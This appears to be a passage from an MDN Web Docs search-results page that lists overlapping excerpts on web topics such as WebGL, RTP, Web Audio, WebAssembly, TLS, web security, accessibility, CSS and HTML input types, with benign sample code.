...ixels inside the specified rectangular area to be updated. This is a good opportunity to talk about the difference between pixels and fragments. A pixel is a picture element (in practice, a point) on the screen, or a single element of the drawing buffer, that area in memory that holds your pixel data (such as RGBA color components). A fragment refers to the pixel while it is being handled by the
WebGL pipeline. The reason for this distinction is that fragment color (and other fragment values, such as depth) may be manipulated and changed several times during graphics operations before finally being written to the screen. We have already seen how fragment color changes during graphics operations, by applying color masking. In other cases, the fragments may be discarded altogether (so the pix...
...es during graphics operations, by applying color masking. In other cases, the fragments may be discarded altogether (so the pixel value is not updated), or it may interact with the already existing pixel value (such as when doing color blending for non-opaque elements in the scene). Here we see another example of the distinction between fragments and pixels. Scissoring is a distinct stage in the
WebGL/OpenGL graphics pipeline (it occurs after color clearing, but before color masking). Before the actual pixels are updated, fragments must go through the scissor test. If the fragments pass the scissor test, they continue down the graphics pipeline, and the corresponding pixels are updated on the screen. If they fail the test, they are immediately discarded, no further processing occurs, and pix...
...And 4 more matches
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
The Real-time Transport Protocol (RTP), defined in RFC 3550, is an IETF standard protocol to enable real-time connectivity for exchanging data that needs real-time priority. This article provides an overview of what RTP is and how it functions in the context of
WebRTC. Note:
WebRTC actually uses SRTP (Secure Real-time Transport Protocol) to ensure that the exchanged data is secure and authenticated as appropriate. Keeping latency to a minimum is especially important for
WebRTC, since face-to-face communication needs to be performed with as little latency as possible. The more time lag there is between one user saying something and another hearing it, the more likely there is to be episodes of cross-talking and other forms of confusion. Key features of RTP Before examining RTP...
...RTP is a data transport protocol, whose mission is to move data between two endpoints as efficiently as possible under current conditions. ...
...tion sharing, and the like. It isn't adequate for the purposes of fully managing users, memberships, permissions, and so forth, but provides the basics needed for an unrestricted multi-user communication session. The very fact that RTCP is defined in the same RFC as RTP is a clue as to just how closely-interrelated these two protocols are. Capabilities of RTP RTP's primary benefits in terms of
WebRTC include: Generally low latency. Packets are sequence-numbered and time-stamped for reassembly if they arrive out of order. This lets data sent using RTP be delivered on transports that don't guarantee ordering or even guarantee delivery at all. This means RTP can be -- but is not required to be -- used atop UDP for its performance as well as its multiplexing and checksum features. RTP su...
...And 4 more matches
Advanced techniques: Creating and sequencing audio - Web APIs
In this tutorial, we're going to cover sound creation and modification, as well as timing and scheduling. We're going to introduce sample loading, envelopes, filters, wavetables, and frequency modulation. If you're familiar with these terms and you're looking for an introduction to their application within with the
Web Audio API, you've come to the right place. Demo We're going to be looking at a very simple step sequencer: In practice this is easier to do with a library -- the
Web Audio API was built to be built upon. If you are about to embark on building something more complex, tone.js would be a good place to start. However, we want to demonstrate how to build such a demo from first principles, as a learning exercise. Note: You can find the source code on GitHub as step-sequenc...
...our beats in one bar of music. When they are enabled the note will sound. When the instrument plays, it will move across this set of beats and loop the bar. Each voice also has local controls, which allow you to manipulate the effects or parameters particular to each technique we are using to create those voices. ...
... AudioContext.decodeAudioData(), AudioBufferSourceNode Note: This instrument was not created to sound good, it was created to provide demonstration code and represents a very simplified version of such an instrument. The sounds are based on a dial-up modem. If you are unaware of how one sounds you can listen to one here. Creating an audio context As you should be used to by now, each
Web Audio API app starts with an audio context: // for cross browser compatibility const AudioContext = window.AudioContext || window.
webkitAudioContext; const audioCtx = new AudioContext(); The "sweep" -- oscillators, periodic waves, and envelopes For what we will call the "sweep" sound, that first noise you hear when you dial up, we're going to create an oscillator to generate the sound. The Os...
...And 4 more matches
Window.requestFileSystem() - Web APIs
The non-standard Window method requestFileSystem() method is a Google Chrome-specific method which lets a
web site or app gain access to a sandboxed file system for its own use. The returned FileSystem is then available for use with the other file system APIs. Even compared to the rest of the File and Directory Entries API, requestFileSystem() is especially non-standard; only Chrome implements it, and all other browser makers have decided that they will not implement it. It has even been removed from the proposed specification. Do not use this method! Syntax This method is prefixed with
webkit in all browsers that implement it (that is, Google Chrome). window.requestFileSystem(type, size, successCallback[, errorCallback]); Parameters type The type of storage to request. Specif...
...wsers that implement it (that is, Google Chrome). window.requestFileSystem(type, size, successCallback[, errorCallback]); Parameters type The type of storage to request. Specify Window.TEMPORARY if it's acceptable for the browser to delete the files at its own discretion, such as if storage space runs low, or Window.PERSISTENT if you need the files to remain in place unless the user or the
web site or app explicitly permit it. Persistent storage requires that the user grant the site quota. size The amount of storage space you wish to have allocated for your app's use. successCallback A function which is invoked when the file system has been successfully obtained. The callback receives a single parameter: a FileSystem object representing the file system the app has permission to use...
... Entries API Draft Draft of proposed API This API has no official W3C or WHATWG specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 4 more matches
XRSystem: requestSession() - Web APIs
While only one immersive VR session can be active at a time, multiple inline sessions can be in progress at once. Syntax var sessionPromise = xr.requestSession(sessionMode, sessionInit) Parameters sessionMode A DOMString whose value is one of those included in the XRSessionMode enum. ...
... one of those included in the XRSessionMode enum. The supported modes are: immersive-ar The session's output will be given exclusive access to the immersive device, but the rendered content will be blended with the real-world environment. The session's environmentBlendMode indicates the method to be used to blend the content together. Important: The immersive-ar mode is defined by the
WebXR Augmented Reality Module, which is not yet stable and should not be used other than for testing and experimentation. immersive-vr Indicates that the rendered session will be displayed using an immersive XR device in VR mode; it is not intended to be overlaid or integrated into the surrounding environment. The environmentBlendMode is expected to be opaque if possible, but might be additive...
...be additive if the hardware requires it. inline The output is presented inline within the context of an element in a standard HTML document, rather than occupying the full visual space. Inline sessions can be presented in either mono or stereo mode, and may or may not have viewer tracking available. Inline sessions don't require special hardware and should be avalable on any user agent offering
WebXR API support. sessionInit Optional A XRSessionInit object providing options to configure the new XRSession. See Specifying session options for details on how to configure a
WebXR session. Return value A Promise that resolves with an XRSession object if the device and user agent support the requested mode and features. Exceptions This method doesn't throw true exceptions; instead, it reje...
...And 4 more matches
Understanding the Web Content Accessibility Guidelines - Accessibility
The WCAG 2.0 and 2.1 provide a detailed set of guidelines for making
web content more accessible to people with a wide variety of disabilities. It is comprehensive but incredibly detailed, and quite difficult to gain a rapid understanding of. ...
... This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C
Web Content Accessibility Guidelines 2.0 or 2.1 (or just WCAG, for the purposes of this writing). The WCAG 2.0 and 2.1 provide a detailed set of guidelines for making
web content more accessible to people with a wide variety of disabilities. ...
...eople with a wide variety of disabilities. It is comprehensive but incredibly detailed, and quite difficult to gain a rapid understanding of. For this reason, we have summarised the practical steps you need to take to satisfy the different recommendations, with further links to more details where required. ...
...And 4 more matches
WebAssembly.Module() constructor - JavaScript
A
WebAssembly.Module() constructor creates a new Module object containing stateless
WebAssembly code that has already been compiled by the browser and can be efficiently shared with Workers, and instantiated multiple times. The
WebAssembly.Module() constructor function can be called to synchronously compile given
WebAssembly binary code. However, the primary way to get a Module is through an asynchronous compilation function like
WebAssembly.compile(). Syntax Important: Since compilation for large modules can be expensive, developers should only use the Module() constructor when synchronous compilation is absolutely required; the asynchronous
WebAssembly.compileStreaming() method should be used at all other times. ...
... code. However, the primary way to get a Module is through an asynchronous compilation function like
WebAssembly.compile(). Syntax Important: Since compilation for large modules can be expensive, developers should only use the Module() constructor when synchronous compilation is absolutely required; the asynchronous
WebAssembly.compileStreaming() method should be used at all other times. new
WebAssembly.Module(bufferSource); Parameters bufferSource A typed array or ArrayBuffer containing the binary code of the .wasm module you want to compile. ...
... developers should only use the Module() constructor when synchronous compilation is absolutely required; the asynchronous
WebAssembly.compileStreaming() method should be used at all other times. new
WebAssembly.Module(bufferSource); Parameters bufferSource A typed array or ArrayBuffer containing the binary code of the .wasm module you want to compile. ...
...And 4 more matches
WebAssembly.Module.exports() - JavaScript
The
WebAssembly.Module.exports() function returns an array containing descriptions of all the declared exports of the given Module. Syntax
WebAssembly.Module.exports(module); Parameters module A
WebAssembly.Module object. Return value An array containing objects representing the exported functions of the given module. Exceptions If module is not a
WebAssembly.Module object instance, a TypeError is thrown. Examples Using exports The following example (see our index-compile.html demo on GitHub, and view it live also) compiles the loaded simple.wasm byte code using the
WebAssembly.compileStreaming() method and then sends it to a worker using postMessage(). ...
...module. Exceptions If module is not a
WebAssembly.Module object instance, a TypeError is thrown. Examples Using exports The following example (see our index-compile.html demo on GitHub, and view it live also) compiles the loaded simple.wasm byte code using the
WebAssembly.compileStreaming() method and then sends it to a worker using postMessage(). var worker = new Worker("wasm_worker.js");
WebAssembly.compileStreaming(fetch('simple.wasm')) .then(mod => worker.postMessage(mod) ); In the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread. ...
... to a worker using postMessage(). var worker = new Worker("wasm_worker.js");
WebAssembly.compileStreaming(fetch('simple.wasm')) .then(mod => worker.postMessage(mod) ); In the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread. when the module is received, we create an instance from it using the
WebAssembly.Instantiate() method, invoke an exported function from inside it, then show how we can return information on the available exports on a module using
WebAssembly.Module.exports. ...
...And 4 more matches
WebAssembly.Table() constructor - JavaScript
The
WebAssembly.Table() constructor creates a new Table object of the given size and element type. Syntax new
WebAssembly.Table(tableDescriptor); Parameters tableDescriptor An object that can contain the following members: element A string representing the type of value to be stored in the table. At the moment this can only have a value of "anyfunc" (functions). initial The initial number of elements of the
WebAssembly Table. maximum Optional The maximum number of elements the
WebAssembly Table is allowed to grow to. Exceptions If tableDescriptor is not of type object, a TypeError is thrown. If maximum is specified and is smaller than initial, a RangeError is thrown. ...
...only have a value of "anyfunc" (functions). initial The initial number of elements of the
WebAssembly Table. maximum Optional The maximum number of elements the
WebAssembly Table is allowed to grow to. Exceptions If tableDescriptor is not of type object, a TypeError is thrown. If maximum is specified and is smaller than initial, a RangeError is thrown. Examples Creating a new
WebAssembly Table instance The following example (see table2.html source code and live version) creates a new
WebAssembly Table instance with an initial size of 2 elements. ...
...angeError is thrown. Examples Creating a new
WebAssembly Table instance The following example (see table2.html source code and live version) creates a new
WebAssembly Table instance with an initial size of 2 elements. We then print out the table length and contents of the two indexes (retrieved via Table.prototype.get() to show that the length is two and both elements are null. var tbl = new
WebAssembly.Table({initial:2, element:"anyfunc"}); console.log(tbl.length); // "2" console.log(tbl.get(0)); // "null" console.log(tbl.get(1)); // "null" We then create an import object that contains the table: var importObj = { js: { tbl:tbl } }; Finally, we load and instantiate a wasm module (table2.wasm) using the
WebAssembly.instantiateStreaming() method. The table2.wasm module cont...
...And 4 more matches
WebAssembly.compileStreaming() - JavaScript
The
WebAssembly.compileStreaming() function compiles a
WebAssembly.Module directly from a streamed underlying source. This function is useful if it is necessary to a compile a module before it can be instantiated (otherwise, the
WebAssembly.instantiateStreaming() function should be used). Syntax Promise<
WebAssembly.Module>
WebAssembly.compileStreaming(source); Parameters source A Response object or a promise that will fulfill with one, representing the underlying source of a .wasm module you want to stream and compile. Return value A Promise that resolves to a
WebAssembly.Module object representing the compiled module. Exceptions If bufferSource is not a typed array, a TypeError is thrown. If compilation fails, the promise rejects with a
WebAssembly.CompileError. Examples ...
...le object representing the compiled module. Exceptions If bufferSource is not a typed array, a TypeError is thrown. If compilation fails, the promise rejects with a
WebAssembly.CompileError. Examples Compile streaming The following example (see our compile-streaming.html demo on GitHub, and view it live also) directly streams a .wasm module from an underlying source then compiles it to a
WebAssembly.Module object. ...
...directly streams a .wasm module from an underlying source then compiles it to a
WebAssembly.Module object. Because the compileStreaming() function accepts a promise for a Response object, you can directly pass it a WindowOrWorkerGlobalScope.fetch() call, and it will pass the response into the function when it fulfills. var importObject = { imports: { imported_func: arg => console.log(arg) } };
WebAssembly.compileStreaming(fetch('simple.wasm')) .then(module =>
WebAssembly.instantiate(module, importObject)) .then(instance => instance.exports.exported_func()); The resulting module instance is then instantiated using
WebAssembly.instantiate(), and the exported function invoked. ...
...And 4 more matches
Digital audio concepts - Web media technologies
Sampling audio Audio is an inherently analog feature of the natural world. As an object vibrates, it causes the molecules surrounding it to vibrate as well. ...
... Sampling audio Audio is an inherently analog feature of the natural world. As an object vibrates, it causes the molecules surrounding it to vibrate as well. ...
...cifying the amplitude of the audio waveform as measured for a given slice of the overall waveform of the audio signal. There are several formats used for the individual samples within an audio file. Most audio files use 16-bit signed integers for each sample, but others use 32-bit floating-point values or 24-bit or 32-bit integers. Some older audio file formats--which you won't find in use on the
web--used 8-bit integer samples. In addition, samples may use signed or unsigned values, as well. The size of an individual sample is called the sample size. The position of each audio source within the audio signal is called a channel. Each channel contains a sample indicating the amplitude of the audio being produced by that source at a given moment in time. For instance, in stereo sound, there ar...
...And 4 more matches
Media type and format guide: image, audio, and video content - Web media technologies
Since nearly its beginning, the
web has included support for some form of visual media presentation. Originally, these capabilities were limited, and were expanded organically, with different browsers finding their own solutions to the problems around including still and video imagery on the
web. The modern
web has powerful features to support the presentation and manipulation of media, with several media-related APIs supporting various types of content. Generally, the media formats supported by a browser are entirely up to the browser's creators, which can complicate the work of a
web developer. This guide provides an overview of the media file types, codecs, and algorithms that may comprise media used on the
web. It also provides browser support information for various combinations of the...
...dia file types, codecs, and algorithms that may comprise media used on the
web. It also provides browser support information for various combinations of these, and suggestions for prioritization of formats, as well as which formats excel at specific types of content. References Images Image file type and format guide Covers support of image file types and content formats across the major
web browsers, as well as providing basic information about each type: benefits, limitations, and use cases of interest to
web designers and developers. ...
...s for prioritization of formats, as well as which formats excel at specific types of content. References Images Image file type and format guide Covers support of image file types and content formats across the major
web browsers, as well as providing basic information about each type: benefits, limitations, and use cases of interest to
web designers and developers. Image file types for
web designers Fundamental information about the various image file types that may be useful for
web designers, including best practices and use cases for each type, and guidelines for choosing the right image file format for specific types of content. Media file types and codecs Media containers (file types) A guide to the file types that contain media data. Some are audio-specific, while othe...
...And 4 more matches
Performance fundamentals - Web Performance
What is performance? Ultimately, user-perceived performance is the only performance that matters. Users provide inputs to the system through touch, movement, and speech. In return, they perceive outputs through sight, touch, and hearing. Performance is the quality of system outputs in response to user inputs. All other things being equal, code optimized for some target besides user-perceived performance (hereafter UPP) loses when competing against code optimized for UPP. ...
...use only the minimum power required. The remainder of this document will discuss performance in terms of these metrics. Platform performance optimizations This section provides a brief overview of how Firefox/Gecko contributes to performance generally, below the level of all applications. From a developer's or user's perspective, this answers the question, "What does the platform do for you?"
Web technologies The
Web platform provides many tools, some better suited for particular jobs than others. All application logic is written in JavaScript. To display graphics, developers can use HTML or CSS (i.e. high-level declarative languages), or use low-level imperative interfaces offered by the <canvas> element (which includes
WebGL). Somewhere "in between" HTML/CSS and Canvas is SVG, which of...
...ion displays or right-to-left languages. The canvas element offers a pixel buffer directly for developers to draw on. This gives developers pixel-level control over rendering and precise control of framerate, but now the developers need to deal with multiple resolutions and orientations, right-to-left languages, and so forth. Developers draw to canvases using either a familiar 2D drawing API, or
WebGL, a "close to the metal" binding that mostly follows OpenGL ES 2.0. Gecko rendering The Gecko JavaScript engine supports just-in-time (JIT) compilation. This enables application logic to perform comparably to other virtual machines -- such as Java virtual machines -- and in some cases even close to "native code". The graphics pipeline in Gecko that underpins HTML, CSS, and Canvas is optimized...
...And 4 more matches
Progressive loading - Progressive web apps (PWAs)
In this article we will go even further and improve the performance of the app by progressively loading its resources. First meaningful paint It's important to deliver something meaningful to the user as soon as possible -- the longer they wait for the page to load, the bigger the chance they will leave before waiting for everything to finish. We should be able to show them at least the basic view of the page they want to see, with placeholders in the places more content will eventually be loaded. ...
...rs in the places more content will eventually be loaded. This could be achieved by progressive loading -- also known as Lazy loading. This is all about deferring loading of as many resources as possible (HTML, CSS, JavaScript), and only loading those immediately that are really needed for the very first experience. Bundling versus splitting Many visitors won't go through every single page of a
website, yet the usual approach is to bundle every feature we have into one big file. A bundle.js file can be many megabytes, and a single style.css bundle can contain everything from basic CSS structure definitions to all the possible styles of every version of the site: mobile, tablet, desktop, print only, etc. It is faster to load all that information as one file rather than many small ones, but ...
...tion as one file rather than many small ones, but if the user doesn't need everything at the very beginning, we could load only what's crucial and then manage other resources when needed. Render-blocking resources Bundling is a problem, because the browser has to load the HTML, CSS, and JavaScript before it can paint their rendered results onto the screen. During the few seconds between initial
website access and completion of loading, the user sees a blank page, which is a bad experience. To fix that we can, for example, add defer to JavaScript files: <script src="app.js" defer></script> They will be downloaded and executed after the document itself has been parsed, so it won't block rendering the HTML structure. We can also split css files and add media types to them: <link rel="styl...
...And 4 more matches
Features restricted to secure contexts - Web security
Current features available only in secure contexts This section lists all the APIs available only in secure contexts, along with browser versions the limitation was introduced in, as appropriate. Note: Only the browsers that actually support secure contexts are listed in this document. See here for information on secure contexts support. ...
...equest API (and Basic Card Payment). 61 15 11.1 In development (behind the dom.payments.request.enabled pref). ...
...d the dom.payments.request.enabled pref). ...
...And 4 more matches
Transport Layer Security - Web security
verview of TLS and the kinds of decisions you need to make when securing your content. History When HTTPS was introduced, it was based on Secure Sockets Layer (SSL) 2.0, a technology introduced by Netscape. It was updated to SSL 3.0 not long after, and as its usage expanded, it became clear that a common, standard encryption technology needed to be specified to ensure interoperability among all
web browsers and servers. The Internet Engineering Task Force (IETF) specified TLS 1.0 in RFC 2246 in January, 1999. The current version of TLS is 1.3 (RFC 8446). Despite the fact that the
web now uses TLS for encryption, many people still refer to it as "SSL" out of habit. Although TLS can be used on top of any low-level transport protocol, the original goal of the protocol was to encrypt HTTP t...
...HTTPS remains an important use case for TLS. ...
... try to limit cipher support to the newest ciphers possible which are compatible with the browsers you want to be able to connect to your site. The Mozilla OpSec guide to TLS configurations provides more information on recommended configurations. To assist you in configuring your site, Mozilla provides a helpful TLS configuration generator that will generate configuration files for the following
Web servers: Apache Nginx Lighttpd HAProxy Amazon
Web Services CloudFormation Elastic Load Balancer Using the configurator is a recommended way to create the configuration to meet your needs; then copy and paste it into the appropriate file on your server and restart the server to pick up the changes. The configuration file may need some adjustments to include custom settings, so be sure to ...
...And 4 more matches
Web security
Content security Content security policy (CSP) Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross-Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement to the distribution of malware. ...
... content. HTTPS HTTPS (HyperText Transfer Protocol Secure) is an encrypted version of the HTTP protocol. It uses SSL or TLS to encrypt all communication between a client and a server. This secure connection allows clients to be sure that they are connected with the intended server, and to exchange sensitive data. HTTP Strict-Transport-Security The Strict-Transport-Security: HTTP header lets a
website specify that it may only be accessed using HTTPS. Certificate Transparency Certificate Transparency is an open framework designed to protect against and monitor for certificate misissuances. Newly issued certificates are 'logged' to publicly run, often independent CT logs which maintain an append-only, cryptographically assured record of issued TLS certificates. Mixed content An HTTPS pag...
...ed' to publicly run, often independent CT logs which maintain an append-only, cryptographically assured record of issued TLS certificates. Mixed content An HTTPS page that includes content fetched using cleartext HTTP is called a mixed content page. Pages like this are only partially encrypted, leaving the unencrypted content accessible to sniffers and man-in-the-middle attackers. How to fix a
website with blocked mixed content If your
website delivers HTTPS pages, all active mixed content delivered via HTTP on these pages will be blocked by default. Consequently, your
website may appear broken to users (if iframes or plugins don't load, etc.). Passive mixed content is displayed by default, but users can set a preference to block this type of content, as well. This page explains what you ...
...And 4 more matches
Web Components
Web Components is a suite of different technologies allowing you to create reusable custom elements -- with their functionality encapsulated away from the rest of your code -- and utilize them in your
web apps. Concepts and usage As developers, we all know that reusing code as much as possible is a good idea. This has traditionally not been so easy for custom markup structures -- think of the complex HTML (and associated style and script) you've sometimes had to write to render custom UI controls, and how using them multiple times can turn your page into a mess if you are not careful. ...
...your
web apps. Concepts and usage As developers, we all know that reusing code as much as possible is a good idea. This has traditionally not been so easy for custom markup structures -- think of the complex HTML (and associated style and script) you've sometimes had to write to render custom UI controls, and how using them multiple times can turn your page into a mess if you are not careful.
Web Components aims to solve such problems -- it consists of three main technologies, which can be used together to create versatile custom elements with encapsulated functionality that can be reused wherever you like without fear of code collisions. Custom elements: A set of JavaScript APIs that allow you to define custom elements and their behaviour, which can then be used as desired in your use...
... can keep an element's features private, so they can be scripted and styled without the fear of collision with other parts of the document. HTML templates: The <template> and <slot> elements enable you to write markup templates that are not displayed in the rendered page. These can then be reused multiple times as the basis of a custom element's structure. The basic approach for implementing a
web component generally looks something like this: Create a class in which you specify your
web component functionality, using the ECMAScript 2015 class syntax (see Classes for more information). Register your new custom element using the CustomElementRegistry.define() method, passing it the element name to be defined, the class or function in which its functionality is specified, and optionally...
...And 4 more matches
Archived open Web documentation - Archive of obsolete content
Talk:background-size Should not the "Browser compatibility" table also list Google Chrome and Konqueror? Chome is not mentioned at all, but is becoming increasingly popular. Konqueror is listed below the table, which seems inconsistent. Znerd 04 August 2009 Browser Detection and Cross Browser Support Improper browser detection can lead to
web maintenance nightmares. Rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser
web content. ...
..., but is becoming increasingly popular. Konqueror is listed below the table, which seems inconsistent. Znerd 04 August 2009 Browser Detection and Cross Browser Support Improper browser detection can lead to
web maintenance nightmares. Rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser
web content. This article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection. Browser Feature Detection An experimental approach to discovering degree of support for Standards CSS Obsolete CSS features Displaying notifications (depr...
...o browser detection. Browser Feature Detection An experimental approach to discovering degree of support for Standards CSS Obsolete CSS features Displaying notifications (deprecated) Firefox offers support for "desktop notifications"; these are notifications that are displayed to the user outside the context of the
web content, using the standard notification system provided by the operating system. E4X ECMAScript for XML (E4X) is a programming language extension that adds native XML support to JavaScript. It does this by providing access to the XML document in a form that feels natural for ECMAScript programmers. The goal is to provide an alternative, simpl...
...And 3 more matches
Accessible multimedia - Learn web development
ort, you should ensure that where possible visual content has an alternative text available for screenreaders to pick up and read to their users. For example: <img src="dinosaur.png" alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> Accessible audio and video controls Implementing controls for
web-based audio/video shouldn't be a problem, right? Let's investigate. The problem with native HTML5 controls HTML5 video and audio instances even come with a set of inbuilt controls that allow you to control the media straight out of the box. For example (see native-controls.html source code and live): <audio controls> <source src="viper.mp3" type="audio/mp3"> <source src="viper.ogg" type="a...
...ut of the box. For example (see native-controls.html source code and live): <audio controls> <source src="viper.mp3" type="audio/mp3"> <source src="viper.ogg" type="audio/ogg"> <p>Your browser doesn't support HTML5 audio. Here is a <a href="viper.mp3">link to the audio</a> instead.</p> </audio> <br> <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.
webm" type="video/
webm"> <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> The controls attribute provides play/pause buttons, seek bar, etc. -- the basic controls you'd expect from a media player. It looks like so in Firefox and Chrome: However, there are problems with these controls: They are not keyboard accessible...
...g custom audio and video controls HTML5 video and audio share an API -- HTML Media Element -- which allows you to map custom functionality to buttons and other controls -- both of which you define yourself. Let's take the video example from above and add custom controls to them. Basic setup First, grab a copy of our custom-controls-start.html, custom-controls.css, rabbit320.mp4, and rabbit320.
webm files and save them in a new directory on your hard drive. Create a new file called main.js and save it in the same directory. First of all, let's look at the HTML for the video player, in the HTML: <section class="player"> <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.
webm" type="video/
webm"> <p>Your browser doesn't support HTML5 video. H...
...And 3 more matches
Accessibility - Learn web development
Learning some HTML, CSS, and JavaScript is useful if you want to become a
web developer. Beyond mechanical use, it's important to learn how to use these technologies responsibly so that all readers might use your creations on the
web. To help you achieve this, this module will cover general best practices (which are demonstrated throughout the HTML, CSS, and JavaScript topics), cross browser testing, and some tips on enforcing accessibility from the start. We'll cover accessibility in special detail. Overview When someone describes a site as "accessible," they mean that any user can use all its features and content, regardless of how the user accesses the
web -- even and especially users with physical or mental impairments. Sites should be accessible to keyboard, mouse, and touch screen...
...from the start. We'll cover accessibility in special detail. Overview When someone describes a site as "accessible," they mean that any user can use all its features and content, regardless of how the user accesses the
web -- even and especially users with physical or mental impairments. Sites should be accessible to keyboard, mouse, and touch screen users, and any other way users access the
web, including screen readers and voice assistants like Alexa and Google Home. Applications should be understandable and usable by people regardless of auditory, visual, physical, or cognitive abilities. Sites should also not cause harm:
web features like motion can cause migraines or epileptic seizures. By default, HTML is accessible, if used correctly.
Web accessibility involves ensuring that c...
...a and Google Home. Applications should be understandable and usable by people regardless of auditory, visual, physical, or cognitive abilities. Sites should also not cause harm:
web features like motion can cause migraines or epileptic seizures. By default, HTML is accessible, if used correctly.
Web accessibility involves ensuring that content remains accessible, regardless of who and how the
web is accessed. The Firefox Accessibility Inspector is a very useful tool for checking out accessibility issues on
web pages. The following video provides a nice introduction to it: Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites To get the most out of this m...
...And 3 more matches
Introduction to CSS layout - Learn web development
ll be covering throughout this module. Prerequisites: The basics of HTML (study Introduction to HTML), and an idea of How CSS works (study Introduction to CSS.) Objective: To give you an overview of CSS page layout techniques. Each technique can be learned in greater detail in subsequent tutorials. CSS page layout techniques allow us to take elements contained in a
web page and control where they are positioned relative to their default position in normal layout flow, the other elements around them, their parent container, or the main viewport/window. The page layout techniques we'll be covering in more detail in this module are Normal flow The display property Flexbox Grid Floats Positioning Table layout Multiple-column layout Each technique has i...
...ting at all. This is the default value. inherit -- Specifies that the value of the float property should be inherited from the element's parent element. In the example below we float a <div> left, and give it a margin on the right to push the text away from the element. This gives us the effect of text wrapped around that box, and is most of what you need to know about floats as used in modern
web design. Floats example body { width: 90%; max-width: 900px; margin: 0 auto; } p { line-height: 2; word-spacing: 0.1rem; } .box { background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); padding: 10px; border-radius: 5px; } <h1>Simple float example</h1> <div class="box">Float</div> <p> Lorem ipsum dolor sit amet, consectetur adipiscing e...
...ommodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> .box { float: left; width: 150px; height: 150px; margin-right: 30px; } Note: Floats are fully explained in our lesson on the float and clear properties. Prior to techniques such as Flexbox and Grid Layout floats were used as a method of creating column layouts. You may still come across these methods on the
web; we will cover these in the lesson on legacy layout methods. Positioning techniques Positioning allows you to move an element from where it would be placed when in normal flow to another location. Positioning isn't a method for creating your main page layouts, it is more about managing and fine-tuning the position of specific items on the page. There are however useful techniques for certain ...
...And 3 more matches
Learn to style HTML using CSS - Learn web development
esheets -- or CSS -- is the first technology you should start learning after HTML. While HTML is used to define the structure and semantics of your content, CSS is used to style it and lay it out. For example, you can use CSS to alter the font, color, size, and spacing of your content, split it into multiple columns, or add animations and other decorative features. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites You should learn the basics of HTML before attempting any CSS. We recommend that you work through our Introduction to HTML module first. In that module, you will learn about: CSS, starting with the Introduction to CSS module More advanced HTML...
...al information you need to work towards your goal. Get started Prerequisites You should learn the basics of HTML before attempting any CSS. We recommend that you work through our Introduction to HTML module first. ...
...
web pages Once you understand the fundamentals of HTML, we recommend that you learn HTML and CSS at the same time, moving back and forth between the two topics. This is because HTML is far more interesting and much more fun to learn when you apply CSS, and you can't really learn CSS without knowing HTML. Before starting this topic, you should also be familiar with using computers and using the
web passively (i.e., just looking at it, consuming the content). You should have a basic work environment set up as detailed in Installing basic software and understand how to create and manage files, as detailed in Dealing with files -- both of which are parts of our Getting started with the
web complete beginner's module. ...
...And 3 more matches
The HTML5 input types - Learn web development
implement them using HTML. Note: Most of the features discussed in this article have wide support across browsers. We'll note any exceptions. If you want more detail on browser support, you should consult our HTML forms element reference, and in particular our extensive <input> types reference. Because HTML form control appearance may be quite different from a designer's specifications,
web developers sometimes build their own custom form controls. We cover this in an advanced tutorial: How to build custom form widgets. E-mail address field This type of field is set using the value email for the type attribute: <input type="email" id="email" name="email"> When this type is used, the user is required to type a valid email address into the field. Any other content causes the brows...
...rrect immediately, rather than having to wait for a round trip to the server. But it should not be considered an exhaustive security measure! Your apps should always perform security checks on any form-submitted data on the server-side as well as the client-side, because client-side validation is too easy to turn off, so malicious users can still easily send bad data through to your server. Read
Website security for an idea of what could happen; implementing server-side validation is somewhat beyond the scope of this module, but you should bear it in mind. Note that a@b is a valid email address according to the default provided constraints. This is because the email input type allows intranet email addresses by default. To implement different validation behavior, you can use the pattern att...
...field in Firefox 71, Safari 13, and Chrome 79 on macOS, and Edge 18 and Chrome 79 on Windows 10. Note that the clear icon only appears if the field has a value, and, apart from Safari, it is only displayed when the field is focused. Another feature worth noting is that the values of a search field can be automatically saved and re-used to offer auto-completion across multiple pages of the same
website; this tends to happen automatically in most modern browsers. Phone number field A special field for filling in phone numbers can be created using tel as the value of the type attribute: <input type="tel" id="tel" name="tel"> When accessed via a touch device with a dynamic keyboard, most devices will display a numeric keypad when type="tel" is encountered, meaning this type is useful whene...
...And 3 more matches
CSS basics - Learn web development
It's not a markup language either. CSS is a style sheet language. CSS is what you use to selectively style HTML elements. For example, this CSS selects paragraph text, setting the color to red: p { color: red; } Let's try it out! Using a text editor, paste the three lines of CSS (above) into a new file. ...
...It's not a markup language either. CSS is a style sheet language. CSS is what you use to selectively style HTML elements. For example, this CSS selects paragraph text, setting the color to red: p { color: red; } Let's try it out! Using a text editor, paste the three lines of CSS (above) into a new file. ...
...the mouse pointer is hovering over the link. There are many more selectors to discover. To learn more, see the MDN Selectors guide. Fonts and text Now that we've explored some CSS fundamentals, let's improve the appearance of the example by adding more rules and information to the style.css file. First, find the output from Google Fonts that you previously saved from What will your
website look like?. Add the <link> element somewhere inside your index.html's head (anywhere between the <head> and </head> tags). It looks something like this: <link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet"> This code links your page to a style sheet that loads the Open Sans font family with your
webpage. Next, delete the existing rule you have in your style.cs...
...And 3 more matches
HTML text fundamentals - Learn web development
